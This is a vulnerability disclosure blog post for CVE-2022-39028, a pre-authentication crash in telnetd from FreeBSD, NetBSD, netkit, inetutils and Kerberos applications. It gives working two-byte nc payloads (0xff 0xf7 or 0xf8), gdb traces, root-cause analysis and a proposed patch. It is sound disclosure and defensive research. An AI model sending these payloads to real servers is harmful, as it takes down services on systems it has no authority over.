

IT Security Research by Pierre

[Home \(../index.html\)](#) • [About \(about.html\)](#) • [Feed \(feed.xml\)](#)

2-byte DoS in freebsd-telnetd / netbsd-telnetd / netkit-telnetd / inetutils-telnetd / telnetd in Kerberos Version 5 Applications - Binary Golf Grand Prix 3 - CVE-2022-39028

Product Description

FreeBSD-telnetd, NetBSD-telnetd, netkit-telnetd, telnetd in Kerberos Version 5 Applications and inetutils-telnetd are standard telnet servers used in several Linux distributions, BSD systems, UNIX systems and commercial products:

- FreeBSD, NetBSD
- Debian, Fedora, Gentoo, ArchLinux, ... - using inetutils-telnetd or netkit-telnetd
- specific Palo Alto appliances
- specific Cisco appliances
- specific Brocade appliances
- specific Arista appliances
- OS running telnetd from Kerberos Version 5 Applications: this may include BSD 4.3 Reno, UNICOS 5.1 to UNICOS 7.0, SunOs 3.5 to SunOs 4.1, DYNIX V3.0.17.9 and Ultrix 3.1 to Ultrix 4.0. Note that these OS may be EOL.
- ...

From our understanding, the first implementation containing the vulnerabilities dates from February 1991. This is the Kerberos telnetd implementation available at <https://github.com/krb5/krb5-appl/blob/f8420ba3e60160da670f4f9a5b9f5429f67cd174/telnet/telnetd> (<https://github.com/krb5/krb5-appl/blob/f8420ba3e60160da670f4f9a5b9f5429f67cd174/telnet/telnetd>).

This code has been merged into FreeBSD in the 90s. Then netkit-telnetd comes from a very old version of the FreeBSD telnetd. And finally inetutils-telnetd is a fork of netkit-telnetd.

These vulnerabilities are very old (at least 30 years).

In all these implementations, the vulnerable part of the code base has not been updated for 30 years and appears not to be maintained anymore.

A part of the list of affected products was obtained by using CVE-2020-10188 (a vulnerability in netkit-telnetd) (<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10188>). We can find advisories from Cisco (<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-telnetd-EFJrEzPx>), Palo Alto (<https://security.paloaltonetworks.com/CVE-2020-10188>), Brocade

(<https://www.broadcom.com/support/fibre-channel-networking/security-advisories/brocade-security-advisory-2021-1013>) and Arista (<https://www.arista.com/en/support/advisories-notice/security-advisories/10702-security-advisory-48>) referencing CVE-2020-10188 in their products.

Furthermore, from <https://github.com/krb5/krb5-appl/blob/f8420ba3e60160da670f4f9a5b9f5429f67cd174/telnet/README> (<https://github.com/krb5/krb5-appl/blob/f8420ba3e60160da670f4f9a5b9f5429f67cd174/telnet/README>), the release date is February 22, 1991 and the supported OS are BSD 4.3 Reno, UNICOS 5.1 to UNICOS 7.0, SunOs 3.5 to SunOs 4.1, DYNIX V3.0.17.9 and Ultrix 3.1 to Ultrix 4.0. We can assume these OS running kerberos-telnetd are also vulnerable.

We wanted to participate to the Binary Golf Grand Prix 3 (<https://tmpout.sh/bggp/3/>) with a fun vulnerability very easy to trigger over the network without authentication and with only 2 bytes.

The summary is:

1. Details - Remote DoS in FreeBSD telnetd
 - 1.1. Bonus points
 - 1.2. netkit-telnet-0.17
 - 1.3. Inetutils
 - 1.4. NetBSD-telnetd
 - 1.5. Telnetd in Kerberos Version 5 Applications - latest version
 - 1.6. Telnetd in Kerberos Version 5 Applications - initial version
 - 1.7. Analysis of the "normal" execution path
 - 1.8. Root cause analysis of the crashes
 - 1.9. MacOS
 - 1.10. Conclusion
2. Details - permanent Remote DoS
3. Vendor Response
4. Recommendations
5. BGGP #3 Score
6. Credits
7. References
8. Disclaimer

Details - Remote DoS in FreeBSD telnetd

It is possible to remotely crash the "standard" FreeBSD telnetd server by sending 2 bytes (`\xff\x7`) from the network, as shown below:

```
kali% printf "\xff\x7" | nc -n -v 192.168.1.200 23
(UNKNOWN) [192.168.1.200] 23 (telnet) open
<FF><FD>%
kali%
```

And we can confirm the remote telnetd server running on a FreeBSD 13.1 machine crashed:

```
freebsd-13-1p1# echo "telnet stream tcp      nowait root    /usr/libexec/telnetd    telnetd" >>
/etc/inetd.conf
freebsd-13-1p1# /etc/rc.d/inetd onestart
Starting inetd.
freebsd-13-1p1# echo "waiting for the PoC..."
waiting for the PoC...
[...]
freebsd-13-1p1# dmesg | tail -n 1
pid 785 (telnetd), jid 0, uid 0: exited on signal 11 (core dumped)
```

A working variant exists with `\xff\xf8`. The vulnerable code is located 2 lines under the first vulnerability in the source code.

```
kali% printf "\xff\xf7" | nc -n -v 192.168.1.200 23
(UNKNOWN) [192.168.1.200] 23 (telnet) open
<FF><FD>%
kali%
```

Debugging with FreeBSD:

```

freebsd-13-1p1# freebsd-update fetch
Looking up update.FreeBSD.org mirrors... 2 mirrors found.
Fetching metadata signature for 13.1-RELEASE from update2.freebsd.org... done.
Fetching metadata index... done.
Inspecting system... done.
Preparing to download files... done.
Fetching 7 patches.... done.
Applying patches... done.
freebsd-13-1p1# freebsd-update install
Creating snapshot of existing boot environment... done.
Installing updates...Scanning //usr/share/certs/blacklisted for certificates...
Scanning //usr/share/certs/trusted for certificates...
done.
freebsd-13-1p1#
freebsd-13-1p1# cd /tmp
freebsd-13-1p1# fetch https://download.freebsd.org/ftp/releases/amd64/13.1-RELEASE/src.txz
src.txz                                183 MB 6208 kBps    31s
freebsd-13-1p1# tar -C / -xvf src.txz
...
x usr/src/secure/caroot/blacklisted/GeoTrust_Primary_Certification_Authority_-_G3.pem
x usr/src/secure/caroot/blacklisted/Camerfirma_Chambers_of_Commerce_Root.pem
x usr/src/secure/caroot/blacklisted/Trustis_FPS_Root_CA.pem
freebsd-13-1p1# cat <<EOF > /etc/make.conf
CFLAGS=-pipe
WITH_CTF=1
DEBUG_FLAGS=-g
EOF
freebsd-13-1p1# cd /usr/src/lib/libtelnet && make obj && make depend && make && make install
cc -pipe -fno-common -I/usr/src/contrib/telnet -DDECRYPTION -DAUTHENTICATION -DSRA -DKRB5 -DF
ORWARD -Dnet_write=telnet_net_write -g -MD -MF.depend.genget.o -MTgenget.o -std=gnu99 -Wno-form
at-zero-length -fstack-protector-strong -Wsystem-headers -Werror -Wall -Wno-format-y2k -Wno-unin
itialized -Wno-pointer-sign -Wno-empty-body -Wno-string-plus-int -Wno-unused-const-variable -Wno
-error=unused-but-set-variable -Wno-tautological-compare -Wno-unused-value -Wno-parentheses-equa
lity -Wno-unused-function -Wno-enum-conversion -Wno-unused-local-typedef -Wno-address-of-packed-
member -Wno-switch -Wno-switch-enum -Wno-knr-promoted-parameter -Qunused-arguments -c /usr/sr
c/contrib/telnet/libtelnet/genget.c -o genget.o
...
freebsd-13-1p1# cd /usr/src/libexec/telnetd && make obj && make depend && make && make install
...
install -o root -g wheel -m 555 telnetd /usr/libexec/telnetd
install -o root -g wheel -m 444 telnetd.debug /usr/lib/debug/usr/libexec/telnetd.debug
install -o root -g wheel -m 444 telnetd.8.gz /usr/share/man/man8/

```

The telnetd program will be compiled without optimization and with debug information (-g).

Sending the payload from a Kali Linux:

```

kali% (sleep 10 ; printf "\xff\xf7") | nc -n -v 192.168.1.200 23
(UNKNOWN) [192.168.1.200] 23 (telnet) open
<FF><FD>%

```

And debugging with gdb on FreeBSD:

```
freebsd-13-1p1# ps -auxww | grep telnetd
root  4430  0.0  0.1 19016 7400  -  Ss   08:58      0:00.01 telnetd
root  4432  0.0  0.0 12840 2316  0  R+   08:58      0:00.00 grep telnetd
freebsd-13-1p1# gdb -p 4430
GNU gdb (GDB) 12.1 [GDB v12.1 for FreeBSD]
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-portbld-freebsd13.0".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word".
Attaching to process 4430
Reading symbols from /usr/libexec/telnetd...
Reading symbols from /usr/lib/debug/usr/libexec/telnetd.debug...

warning: Could not load shared library symbols for [vdso].
Do you need "set solib-search-path" or "set sysroot"?
Reading symbols from /lib/libutil.so.9...
(No debugging symbols found in /lib/libutil.so.9)
Reading symbols from /lib/libncursesw.so.9...
(No debugging symbols found in /lib/libncursesw.so.9)
Reading symbols from /usr/lib/libmp.so.7...
(No debugging symbols found in /usr/lib/libmp.so.7)
Reading symbols from /lib/libcrypto.so.111...
(No debugging symbols found in /lib/libcrypto.so.111)
Reading symbols from /usr/lib/libpam.so.6...
(No debugging symbols found in /usr/lib/libpam.so.6)
Reading symbols from /usr/lib/libkrb5.so.11...
(No debugging symbols found in /usr/lib/libkrb5.so.11)
Reading symbols from /usr/lib/libroken.so.11...
(No debugging symbols found in /usr/lib/libroken.so.11)
Reading symbols from /lib/libc.so.7...
(No debugging symbols found in /lib/libc.so.7)
Reading symbols from /lib/libthr.so.3...
(No debugging symbols found in /lib/libthr.so.3)
Reading symbols from /usr/lib/libasn1.so.11...
(No debugging symbols found in /usr/lib/libasn1.so.11)
Reading symbols from /usr/lib/libcom_err.so.5...
(No debugging symbols found in /usr/lib/libcom_err.so.5)
Reading symbols from /lib/libcrypt.so.5...
(No debugging symbols found in /lib/libcrypt.so.5)
Reading symbols from /usr/lib/libhx509.so.11...
(No debugging symbols found in /usr/lib/libhx509.so.11)
Reading symbols from /usr/lib/libwind.so.11...
```

```

(No debugging symbols found in /usr/lib/libwind.so.11)
Reading symbols from /usr/lib/libheimbase.so.11...
(No debugging symbols found in /usr/lib/libheimbase.so.11)
Reading symbols from /usr/lib/libprivateheimipcc.so.11...
(No debugging symbols found in /usr/lib/libprivateheimipcc.so.11)
Reading symbols from /libexec/ld-elf.so.1...
(No debugging symbols found in /libexec/ld-elf.so.1)
[Switching to LWP 100331 of process 4430]
0x00000008015e76b8 in _read () from /lib/libc.so.7
(gdb) b telrcv
Breakpoint 1 at 0x102be98: file /usr/src/contrib/telnet/telnetd/state.c, line 96.
(gdb) c
Continuing.

Breakpoint 1, telrcv () at /usr/src/contrib/telnet/telnetd/state.c:96
96     while (ncc > 0) {
(gdb) n
97         if ((amp;ptyobuf[BUFSIZ] - pfrontp) < 2)
(gdb)
99         c = *netip++ & 0377, ncc--;
(gdb)
101        if (decrypt_input)
(gdb)
104        switch (state) {
(gdb)
115            if (c == IAC) {      // [1] IAC = 255 = 0xff. this is the first character we sent
(gdb)
116                state = TS_IAC; // [2] the state variable becomes TS_IAC
(gdb)
117                break;
(gdb)
96     while (ncc > 0) {
(gdb)

Breakpoint 1, telrcv () at /usr/src/contrib/telnet/telnetd/state.c:96
96     while (ncc > 0) {
(gdb)
97         if ((amp;ptyobuf[BUFSIZ] - pfrontp) < 2)
(gdb)
99         c = *netip++ & 0377, ncc--;
(gdb)
101        if (decrypt_input)
(gdb)
104        switch (state) {
(gdb)
159 gotiac:    switch (c) {
/* we reach line 159, thanks to the line 158 shown in the next C listing:
the state variable is checked against TS_IAC (defined in the previous loop) */
(gdb)
220            DIAG(TD_OPTIONS,
(gdb)

```

```

222             ptyflush(); /* half-hearted */
(gdb)
223             init_termbuf();
(gdb)
224             if (c == EC)
(gdb)
225                 ch = *slctab[SLC_EC].sptr;
(gdb)

Program received signal SIGSEGV, Segmentation fault.
Address not mapped to object.
0x00000000102c2af in telrcv () at /usr/src/contrib/telnet/telnetd/state.c:225
225                 ch = *slctab[SLC_EC].sptr;
(gdb) bt
#0  0x00000000102c2af in telrcv () at /usr/src/contrib/telnet/telnetd/state.c:225
#1  0x000000001033383 in ttloop () at /usr/src/contrib/telnet/telnetd/utility.c:84
#2  0x000000001030ff7 in getterminaltype (name=0x1045000 <user_name> "") at /usr/src/contrib/telnet/telnetd/telnetd.c:481
#3  0x000000001030dff in doit (who=0x7fffffff928) at /usr/src/contrib/telnet/telnetd/telnetd.c:715
#4  0x000000001030b46 in main (argc=0, argv=0x7fffffff30) at /usr/src/contrib/telnet/telnetd/telnetd.c:408
(gdb) p ch
$1 = 0 '\000'
(gdb) p slctab[10]
$2 = {defset = {flag = 0 '\000', val = 0 '\000'}, current = {flag = 0 '\000', val = 0 '\000'}, s
ptr = 0x0}
(gdb) p slctab[10].sptr
$3 = (cc_t *) 0x0
(gdb) p *(slctab[10].sptr)
Cannot access memory at address 0x0

```

We can see 2 loops in gdb, each for one character.

And the crash is a null pointer dereference.

SLC_EC is defined in `usr/src/contrib/telnet/arpa/telnet.h`:

```

193 #define SLC_SUSP          9
194 #define SLC_EC            10
195 #define SLC_EL            11

```

When reading the `/usr/src/contrib/telnet/telnetd/state.c` file, we can find the vulnerable lines 225 and 227:


```

91 telrcv(void)
92 {
93     int c;
94     static int state = TS_DATA;
95
96     while (ncc > 0) {
97         if ((&ptyobuf[BUFSIZ] - pfrontp) < 2)
98             break;
99         c = *netip++ & 0377, ncc--;
100 #ifdef ENCRYPTION
101     if (decrypt_input)
102         c = (*decrypt_input)(c);
103 #endif /* ENCRYPTION */
104     switch (state) {
105     ...
158     case TS_IAC: // in the second loop, state is TS_IAC,
                  // from [2], we continue the execution flow there
159 gotiac:       switch (c) { // testing the current character
106     ...
211             /*
212              * Erase Character and
213              * Erase Line
214              */
215             case EC: // is the current character 247 (0xf7)?
216             case EL: // is the current character 248 (0xf8)?
217                 {
218                     cc_t ch;
219
220                     DIAG(TD_OPTIONS,
221                         printoption("td: recv IAC", c));
222                     ptyflush(); /* half-hearted */
223                     init_termbuf();
224                     if (c == EC)
225                         ch = *slctab[SLC_EC].sptr; // vuln
226                     else
227                         ch = *slctab[SLC_EL].sptr; // vuln
228                     if (ch != (cc_t)(_POSIX_VDISABLE))
229                         *pfrontp++ = (unsigned char)ch;
230                     break;
231                 }

```

In the code, EC corresponds to 247 (\xf7) and EL corresponds to 248 (\xf8):

They are defined in /usr/src/contrib/telnet/arpa/telnet.h :

```

39 #define IAC      255          /* interpret as command: */
...
46 #define EL      248          /* erase the current line */
47 #define EC      247          /* erase the current character */

```

So we have this code executed when sending the payload \xff\xf8 :

```
ch = *slctab[SLC_EC].sptr;
```

or this code executed when sending the payload \xff\xf7 :

```
ch = *slctab[SLC_EL].sptr;
```

Using gdb, we can see that `slctab[10].sptr` (`slctab[SLC_EC].sptr`) and `slctab[11].sptr` (`slctab[SLC_EL].sptr`) are set to `NULL` (`0x0`) so the value at the `NULL` address is unreachable.

We can modify the function by checking the pointers. This change will remove the previous security vulnerabilities:

```
211          /*
212          * Erase Character and
213          * Erase Line
214          */
215          case EC:
216          case EL:
217              {
218                  cc_t ch = (cc_t)_POSIX_VDISABLE;
219
220                  DIAG(TD_OPTIONS,
221                      printoption("td: recv IAC", c));
222                  ptyflush(); /* half-hearted */
223                  init_termbuf();
224                  if (c == EC)
225                  {
226                      if (slctab[SLC_EC].sptr)
227                          ch = *slctab[SLC_EC].sptr;
228                  }
229                  else
230                  {
231                      if (slctab[SLC_EL].sptr)
232                          ch = *slctab[SLC_EL].sptr;
233                  }
234                  if (ch != (cc_t)(_POSIX_VDISABLE))
235                      *pfrontp++ = (unsigned char)ch;
236                  break;
237              }
```

The resulting patch is:

```

freebsd-13-1p1# diff -u -p ./usr/src/contrib/telnet/telnetd/state.c /usr/src/contrib/telnet/telnetd/state.c
--- ./usr/src/contrib/telnet/telnetd/state.c      2022-05-12 05:53:58.000000000 +0100
+++ /usr/src/contrib/telnet/telnetd/state.c 2022-08-21 09:41:09.699357000 +0100
@@ -215,16 +215,22 @@ gotiac:          switch (c) {
        case EC:
        case EL:
            {
-           cc_t ch;
+           cc_t ch = (cc_t)_POSIX_VDISABLE;

            DIAG(TD_OPTIONS,
                printoption("td: recv IAC", c));
            ptyflush(); /* half-hearted */
            init_termbuf();
            if (c == EC)
-               ch = *slctab[SLC_EC].sptr;
+           {
+               if (slctab[SLC_EC].sptr)
+                   ch = *slctab[SLC_EC].sptr;
+           }
            else
-               ch = *slctab[SLC_EL].sptr;
+           {
+               if (slctab[SLC_EL].sptr)
+                   ch = *slctab[SLC_EL].sptr;
+           }
            if (ch != (cc_t)(_POSIX_VDISABLE))
                *pfrontp++ = (unsigned char)ch;
            break;
freebsd-13-1p1#

```

We tested the patch and it works.

Bonus points

Telnet supports secure mode. This mode is also vulnerable in FreeBSD as shown below:

`/usr/src/crypto/heimdal/appl/telnet/telnetd/state.c :`

```

79 void
80 telrcv(void)
81 {
82     int c;
83     static int state = TS_DATA;
84
85     while (ncc > 0) {
86         if ((amp;ptyobuf[BUFSIZ] - pfrontp) < 2)
87             break;
88         c = *netip++ & 0377, ncc--;
89 #ifdef ENCRYPTION
90         if (decrypt_input)
91             c = (*decrypt_input)(c);
92 #endif
93         switch (state) {
...
189         /*
190          * Erase Character and
191          * Erase Line
192          */
193         case EC:
194         case EL:
195             {
196                 cc_t ch;
197
198                 DIAG(TD_OPTIONS,
199                     printoption("td: recv IAC", c));
200                 ptyflush(); /* half-hearted */
201                 init_termbuf();
202                 if (c == EC)
203                     ch = *slctab[SLC_EC].sptr; // vuln
204                 else
205                     ch = *slctab[SLC_EL].sptr; // vuln
206                 if (ch != (cc_t)(_POSIX_VDISABLE))
207                     *pfrontp++ = (unsigned char)ch;
208                 break;
209             }

```

netkit-telnet-0.17

The same behavior can be observed with netkit-telnet-0.17 under Linux, while sending the same payloads (\xff\xf7 or \xff\xf8):

```
gentoo% (sleep 10 ; printf "\xff\xf7") | nc -n -v localhost 23
```

And debugging with gdb on Gentoo:

```

gentoo% gdb -p `pidof in.telnetd`
GNU gdb (Gentoo 11.2 vanilla) 11.2
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://bugs.gentoo.org/>.
Find the GDB manual and other documentation resources online at:
  <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word".
Attaching to process 20328
Reading symbols from /usr/sbin/telnetd...
Reading symbols from /lib64/libncurses.so.6...
(No debugging symbols found in /lib64/libncurses.so.6)
Reading symbols from /lib64/libc.so.6...
Reading symbols from /lib64/libtinfo.so.6...
(No debugging symbols found in /lib64/libtinfo.so.6)
Reading symbols from /lib64/ld-linux-x86-64.so.2...
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
0x00007f1973c68a9e in __GI___libc_read (fd=0, buf=0x55640e1a6ec0 <netibuf>, nbytes=8192) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x000055640e198d37 in telrcv () at /tmp/telnet/netkit-telnet-0.17/telnetd/state.c:211
211         if (c == EC) ch = *slctab[SLC_EC].sptr;
(gdb) bt
#0  0x000055640e198d37 in telrcv () at /tmp/telnet/netkit-telnet-0.17/telnetd/state.c:211
#1  0x000055640e19d553 in ttloop () at /tmp/telnet/netkit-telnet-0.17/telnetd/utility.c:92
#2  0x000055640e19bf53 in getterminaltype (name=0x7fffa7941730 "") at /tmp/telnet/netkit-telnet-0.17/telnetd/telnetd.c:484
#3  0x000055640e19c66f in doit (who=0x7fffa7941880, who_len=16) at /tmp/telnet/netkit-telnet-0.17/telnetd/telnetd.c:722
#4  0x000055640e19bdb7 in main (argc=0, argv=0x7fffa7941a40, env=0x7fffa7941a48) at /tmp/telnet/netkit-telnet-0.17/telnetd/telnetd.c:402
(gdb) list
206 {
207     cc_t ch;
208     DIAG(TD_OPTIONS, printoption("td: recv IAC", c));
209     ptyflush(); /* half-hearted */
210     init_termbuf();
211     if (c == EC) ch = *slctab[SLC_EC].sptr;
212     else ch = *slctab[SLC_EL].sptr;

```

```

213  if (ch != (cc_t)(_POSIX_VDISABLE))
214      *pfrontp++ = (unsigned char)ch;
215  break;
(gdb) p slctab[10].sptr
$1 = (cc_t *) 0x0

```

We can recognize the same vulnerable function in `netkit-telnet-0.17/telnetd/state.c` :

```

81  void telrcv(void) {
82      register int c;
83      static int state = TS_DATA;
84
85      while (ncc > 0) {
86          if (&ptyobuf[BUFSIZ] - pfrontp < 2) break;
87          c = *netip++ & 0377;
88          ncc--;
...
200      /*
201          * Erase Character and
202          * Erase Line
203          */
204      case EC:
205      case EL:
206      {
207          cc_t ch;
208          DIAG(TD_OPTIONS, printoption("td: recv IAC", c));
209          ptyflush(); /* half-hearted */
210          init_termbuf();
211          if (c == EC) ch = *slctab[SLC_EC].sptr; // vuln
212          else ch = *slctab[SLC_EL].sptr; // vuln
213          if (ch != (cc_t)(_POSIX_VDISABLE))
214              *pfrontp++ = (unsigned char)ch;
215          break;
216      }
217

```

Inetutils

Inetutils can be found here: <https://git.savannah.gnu.org/cgit/inetutils.git/snapshot/inetutils-2.3.tar.gz>
(<https://git.savannah.gnu.org/cgit/inetutils.git/snapshot/inetutils-2.3.tar.gz>).

Again, we can recognize the similar vulnerable code in `inetutils-2.3/telnetd/state.c` :

```

190 void
191 telrcv (void)
192 {
193     register int c;
194     static int state = TS_DATA;
195
196     while ((net_input_level () > 0) & !pty_buffer_is_full ())
197     {
198         c = net_get_char (0);
199         ...
203         switch (state)
204         {
205             ...
213             case TS_DATA:
214                 if (c == IAC)
215                 {
216                     state = TS_IAC;
217                     break;
218                 }
219             ...
260             case TS_IAC:
261             gotiac:
262                 switch (c)
263                 {
264                     ...
308                     /*
309                      * Erase Character and
310                      * Erase Line
311                      */
312                     case EC:
313                     case EL:
314                     {
315                         cc_t ch;
316
317                         DEBUG (debug_options, 1, printoption ("td: recv IAC", c));
318                         ptyflush ();    /* half-hearted */
319                         init_termbuf ();
320                         if (c == EC)
321                             ch = *slctab[SLC_EC].sptr;
322                         else
323                             ch = *slctab[SLC_EL].sptr;
324                         if (ch != (cc_t) (_POSIX_VDISABLE))
325                             pty_output_byte ((unsigned char) ch);
326                         break;
327                     }
328                 }
329             ...

```

We tested Inetutils under Debian and found it also vulnerable. Using the inetutils-telnetd package in Debian 10.4.0, telnetd will segfault when receiving \xff\x7 or \xff\x8 :

Under AMD64:

```

# uname -ap
Linux debian 5.10.0-16-amd64 #1 SMP Debian 5.10.127-1 (2022-06-30) x86_64 GNU/Linux
# dmesg | grep telnetd
[ 1217.948086] telnetd[17254]: segfault at 0 ip 0000561ae3f92311 sp 00007ffdfb57b650 error 4 in
telnetd[561ae3f8b000+15000]

```

Under i386:

```
# uname -ap
Linux debian 5.10.0-16-686 #1 SMP Debian 5.10.127-1 (2022-06-30) i686 GNU/Linux
# dmesg | grep telnetd
[ 1432.883806] telnetd[16847]: segfault at 0 ip 004fa8e4 sp bfb8290 error 4 in telnetd[4f3000+15000]
```

NetBSD-telnetd

We tested the telnetd server in NetBSD and found it also vulnerable. The code is available at <http://ftp.netbsd.org/pub/NetBSD/NetBSD-current/src/libexec/telnetd/state.c> (<http://ftp.netbsd.org/pub/NetBSD/NetBSD-current/src/libexec/telnetd/state.c>):

```
85 void
86 telrcv(void)
87 {
88     int c;
89     static int state = TS_DATA;
90
91     while (ncc > 0) {
92         if ((amp;ptyobuf[BUFSIZ] - pfrontp) < 2)
93             break;
94         c = *netip++ & 0377, ncc--;
95
96         ...
97         case TS_DATA:
98             if (c == IAC) {
99                 state = TS_IAC;
100                 break;
101             }
102             ...
103         case TS_IAC:
104             switch (c) {
105                 ...
106                 /*
107                  * Erase Character and
108                  * Erase Line
109                  */
110                 case EC:
111                 case EL:
112                     {
113                         cc_t ch;
114
115                         DIAG(TD_OPTIONS,
116                             printoption("td: recv IAC", c));
117                         ptyflush(); /* half-hearted */
118                         init_termbuf();
119                         if (c == EC)
120                             ch = *slctab[SLC_EC].sptr; // vuln
121                         else
122                             ch = *slctab[SLC_EL].sptr; // vuln
123                         if (ch != (cc_t)(_POSIX_VDISABLE))
124                             *pfrontp++ = (unsigned char)ch;
125                         break;
126                     }
127             }
128     }
```


While testing NetBSD 9.3/amd64, telnetd will segfault, as usual in the `telrcv` function:

```
# uname -ap
NetBSD netbsd 9.3 NetBSD 9.3 (GENERIC) #0: Thu Aug  4 15:30:37 UTC 2022  mkrepro@mkrepro.NetBSD.
org:/usr/src/sys/arch/amd64/compile/GENERIC amd64 x86_64
# ps -auxww|grep telnet
root    882   0.0   0.0 50312  4068 ?        S      4:15PM 0:00.02 telnetd -a valid
root    755   0.0   0.0 21652  1324 pts/1  O+     4:15PM 0:00.00 grep telnet
# gdb -p 882
GNU gdb (GDB) 8.3
Copyright (C) 2019 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
...
[Switching to LWP 1 of process 882]
0x0000768c9d242c6a in read () from /usr/lib/libc.so.12
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x000000012fe06f4c in telrcv ()
(gdb) q
A debugging session is active.

        Inferior 1 [process 882] will be detached.

Quit anyway? (y or n) y
Detaching from program: /usr/libexec/telnetd, process 882
[Inferior 1 (process 882) detached]
```

Telnetd in Kerberos Version 5 Applications - latest version

Using the master branch of <https://github.com/krb5/krb5-appl> (<https://github.com/krb5/krb5-appl>), with a 13-year old `state.c` file, we can confirm the vulnerabilities are also present:

```
Program received signal SIGSEGV, Segmentation fault.
0x0000555555555c1bd in telrcv () at state.c:237
237      ch = *slctab[SLC_EC].sptr;
(gdb) bt
#0  0x0000555555555c1bd in telrcv () at state.c:237
#1  0x0000555555555d54d in ttsuck () at utility.c:153
#2  0x00005555555559fc3 in getterminaltype (name=0x7fffffffdc80 "") at telnetd.c:727
#3  doit (who=who@entry=0x7fffffe2e0) at telnetd.c:1025
#4  0x00005555555558e82 in main (argc=<optimized out>, argv=<optimized out>) at telnetd.c:644
```

The vulnerable part in `state.c` has not been changed since the initial commit but we would like to confirm that the vulnerabilities existed for 30 years.

In the next section, we will analyze the initial commit:

Telnetd in Kerberos Version 5 Applications - initial version

The code of Telnetd in Kerberos Version 5 Applications is vulnerable in the initial version. The first commit from 1991 was vulnerable as shown below.

This is likely the source of these 2 vulnerabilities that have been then copied into several forks over the years.

<https://github.com/krb5/krb5->

[appl/blob/f8420ba3e60160da670f4f9a5b9f5429f67cd174/telnet/telnetd/state.c#L218](https://github.com/krb5/krb5-appl/blob/f8420ba3e60160da670f4f9a5b9f5429f67cd174/telnet/telnetd/state.c#L218)

(<https://github.com/krb5/krb5->

[appl/blob/f8420ba3e60160da670f4f9a5b9f5429f67cd174/telnet/telnetd/state.c#L218](https://github.com/krb5/krb5-appl/blob/f8420ba3e60160da670f4f9a5b9f5429f67cd174/telnet/telnetd/state.c#L218)):

```

79         void
80 telrcv()
81 {
82     register int c;
83     static int state = TS_DATA;
84     #if defined(CRAY2) && defined(UNICOS5)
85     char *opfrontp = pfrontp;
86 #endif
87
88     while (ncc > 0) {
89         if ((&ptyobuf[BUFSIZ] - pfrontp) < 2)
90             break;
91         c = *netip++ & 0377, ncc--;
...
96         switch (state) {
...
106         case TS_DATA:
107             if (c == IAC) {
108                 state = TS_IAC;
109                 break;
110             }
...
150         case TS_IAC:
151 gotiac:         switch (c) {
...
204             /*
205              * Erase Character and
206              * Erase Line
207              */
208             case EC:
209             case EL:
210                 {
211                     cc_t ch;
212
213                     DIAG(TD_OPTIONS,
214                         printoption("td: recv IAC", c));
215                     ptyflush(); /* half-hearted */
216                     init_termbuf();
217                     if (c == EC)
218                         ch = *slctab[SLC_EC].sptr; // vuln
219                     else
220                         ch = *slctab[SLC_EL].sptr; // vuln
221                     if (ch != (cc_t)(_POSIX_VDISABLE))
222                         *pfrontp++ = (unsigned char)ch;
223                     break;
224                 }

```

From the README file available at <https://github.com/krb5/krb5-appl/blob/f8420ba3e60160da670f4f9a5b9f5429f67cd174/telnet/README> (<https://github.com/krb5/krb5-appl/blob/f8420ba3e60160da670f4f9a5b9f5429f67cd174/telnet/README>), this solution is not really recent.

The date included in the README file is February 22, 1991 but the krb5-appl/telnet/telnetd/state.c file indicates @(#)state.c 5.12 (Berkeley) 1/19/93 .

The supported Operating Systems listed in the README file are also very old:

This is a distribution of both client and server telnet. These programs have been compiled on:

	telnet	telnetd
BSD 4.3 Reno	X	X
UNICOS 5.1	X	X
UNICOS 6.0	X	X
UNICOS 6.1	X	X
UNICOS 7.0	X	X
SunOs 3.5	X	X (no linemode in server)
SunOs 4.1	X	X (no linemode in server)
DYNIX V3.0.17.9	X	X (no linemode in server)
Ultrix 3.1	X	X (no linemode in server)
Ultrix 4.0	X	X (no linemode in server)

In addition, previous versions have been compiled on the following machines, but were not available for testing this version.

	telnet	telnetd
Next1.0	X	X
UNICOS 5.0	X	X
SunOs 4.0.3c	X	X (no linemode in server)
BSD 4.3	X	X (no linemode in server)
DYNIX V3.0.12	X	X (no linemode in server)

Back to FreeBSD to compile and test this initial version of Telnetd in Kerberos Version 5 Applications.

On a side note, it was confirmed the telnetd server shipped in FreeBSD 3.2 is vulnerable to the same vulnerabilities, as shown below:

```
myname# uname -ap
FreeBSD myname.my.domain 3.2-RELEASE FreeBSD 3.2-RELEASE #0: Tue May 18 04:05:08 GMT 1999    jk
h@cathair:/usr/src/sys/compile/GENERIC i386
myname# dmesg | grep telnet
pid 291 (telnetd), uid 0: exited on signal 11 (core dumped)
pid 297 (telnetd), uid 0: exited on signal 11 (core dumped)
pid 303 (telnetd), uid 0: exited on signal 11 (core dumped)
pid 319 (telnetd), uid 0: exited on signal 11 (core dumped)
```

We successfully compiled <https://github.com/krb5/krb5-appl/blob/f8420ba3e60160da670f4f9a5b9f5429f67cd174/telnet/telnetd> (<https://github.com/krb5/krb5-appl/blob/f8420ba3e60160da670f4f9a5b9f5429f67cd174/telnet/telnetd>) in FreeBSD 3.2.

